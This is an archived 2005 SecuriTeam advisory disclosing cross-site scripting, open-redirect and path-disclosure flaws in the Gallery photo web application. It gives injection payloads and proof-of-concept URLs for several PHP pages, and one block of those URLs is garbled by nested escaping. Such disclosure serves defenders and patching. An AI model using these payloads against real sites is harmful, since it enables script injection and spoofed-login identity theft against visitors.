

[UNIX] Gallery Cross Site Scripting Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-01/0081.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 01/23/05

To: list@securiteam.com

Date: 23 Jan 2005 14:27:21 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Gallery Cross Site Scripting Vulnerability

SUMMARY

<<http://gallery.sourceforge.net>> Gallery is a web based software product that lets you manage your photos on your own website.

A vulnerability in Gallery allows a remote attacker to inject and execute web based scripts on users machine while visiting a remote Gallery web page.

DETAILS

Vulnerable Systems:

* Gallery v1.3.4-p11, v1.4.4-p12, 2.0 Alpha

add_comment.php vulnerability in 'index' field:

The cross site scripting injection can be done using the classical tag closing:

```
"><script>alert()</script>
```

For Example: http://example.com/gallery/add_comment.php?set_albumName=Eros&index=1"><script>alert()</script>

slideshow_low.php vulnerabilities in all its fields:

slideshow_low.php is vulnerable to cross site scripting in all it's

Securiteam: [UNIX] Gallery Cross Site Scripting Vulnerability

parameters:
set_albumName
slide_index
slide_full
slide_loop
slide_pause
slide_dir

The injection can also be executed using the classical tag closing:

```
"><script>alert()</script>
```

For Example:

search.php vulnerability in username field:

The injection can be done using hex encoded tag closing and an HTML event:

```
%22 onactivate%3D"alert%28%29"
```

For Example: [http://example.com/gallery/search.php?searchstring=%22 onactivate%3D"alert%28%29"](http://example.com/gallery/search.php?searchstring=%22 onactivate%3D)

login.php vulnerability in username field:

The injection can be done using hex encoded tag closing and an HTML event:

```
%22 onactivate%3D"alert%28%29"
```

http://example.com/gallery/login.php?gallery_popup=true&username=/*%22*/ onactivate%3Dalert%28%29%3e

This version of Gallery also has an open redirection, which is a security risk because an attacker can send someone a link with a redirection to his evil host name or to cause the user to commit an attack or waste the target's resources.

For Example:

http://example.com/gallery/do_command.php?set_fullOnly=on&return=evilhost name>&cmd=

All the vulnerabilities described above can be used to remotely call a JavaScript file that can exploit the vulnerability for example:

- * Automatic launching of malicious code (remote compromise by i.e. exploits).

- * Identity theft using a spoofed re-login window (only for galleries with login)

login.php vulnerability in g2_form[subject] field:

Gallery v2.0 Alpha contains vulnerability in login.php. The injection can be done using an inline JavaScript protocol call:

```
javascript:alert()
```

For Example:

[http://example.com/g2/main.php?g2_controller=comment:AddComment&g2_form\[formName\]=AddComment&g2_itemId=<valid item>&g2_form\[subject\]=\[img\]javascript:alert\(\)/img\]&g2_form\[action\]\[preview\]=preview](http://example.com/g2/main.php?g2_controller=comment:AddComment&g2_form[formName]=AddComment&g2_itemId=<valid item>&g2_form[subject]=[img]javascript:alert()/img]&g2_form[action][preview]=preview)

main.php vulnerability in g2_subView field:

Gallery v2.0 Alpha contains another vulnerability in main.php. It is possible to replace any valid subView value such as:

comment:ShowComments with the admin value: core:UserAdmin. This causes the

Securiteam: [UNIX] Gallery Cross Site Scripting Vulnerability

gallery to hang for 30 seconds and then print out the Full Path of the gallery on the server.

For Example: http://example.com/g2/main.php?g2_return=http://host>/main.php%3Fg2_view%3Dcore%3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3D<any valid/invalid session id such as: be869b98355e8d445c8ec8f97cb343da>&g2_view=core:UserAdmin&g2_subView=core:UserAdmin

Then the following data will be printed out to the attacker:

Fatal error: Maximum execution time of 30 seconds exceeded in /mnt/1/www/g2/modules/core/UserAdmin.inc on line 55

Second Time

Fatal error: Maximum execution time of 30 seconds exceeded in /mnt/1/www/g2/modules/core/classes/GalleryUtilities.class on line 596

Proof of Concept Code:

The following proof of concept are for Gallery version 1.3.4-pl1:

[\[\\[\\\[\\\\[\\\\\[<http://example.com/gallery/search.php?searchstring=%22%20onclick%3D%22%20alert%28%29%22%20onactivate%3Dalert%28%29%3e<plaintext>>\\\\\]\\\\\(http://example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0&slide_loop=0&slide_pause=3&slide_dir=1\\\\\)\\\\]\\\\(http://example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0&slide_loop=0&slide_pause=3\\\\)\\\]\\\(http://example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0&slide_loop=0\\\)\\]\\(http://example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3&slide_full=0\\)\]\(http://example.com/gallery/slideshow_low.php?set_albumName=A-Or&slide_index=3\)](http://example.com/gallery/add_comment.php?set_albumName=Eros&index=1)

The following proof of concept are for Gallery v1.4.4-pl2:

http://example.com/gallery/login.php?gallery_popup=true&cool=rafi&username=/*%22*/onactivate%3Dalert%28%29%3e<plaintext>
http://example.com/gallery/do_command.php?set_fullOnly=on&return=http%3A%2F%2Fwww.google.com&cmd=

The following proof of concept are for Gallery v2.0 Alpha:

[http://example.com/g2/main.php?g2_controller=comment:AddComment&g2_form\[formName\]=AddComment&g2_itemId=<valid item>&g2_form\[subject\]=\[img\]javascript:alert\(\)/\[img\]&g2_form\[action\]\[preview\]=preview](http://example.com/g2/main.php?g2_controller=comment:AddComment&g2_form[formName]=AddComment&g2_itemId=<valid item>&g2_form[subject]=[img]javascript:alert()/[img]&g2_form[action][preview]=preview)
http://example.com/g2/main.php?g2_return=>%2Fg2%2Fmain.php%3Fg2_view%3Dcore%3AShowItem%26g2_itemId%3D7150%26g2_GALLERYSID%3Dbe869b98355e8d445c8ec8f97cb343da%5C%5C0%5C%5C00%5C%5C%5C%5C0%5C%5C%5C00%3B%250a%250d%250a%250drafi&g2_view=core:UserAdmin&g2_subView=core:UserAdmin

ADDITIONAL INFORMATION

The information has been provided by <mailto:the_insider@mail.com> Rafel Ivgi, The-Insider.

=====

Securiteam: [UNIX] Gallery Cross Site Scripting Vulnerability

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.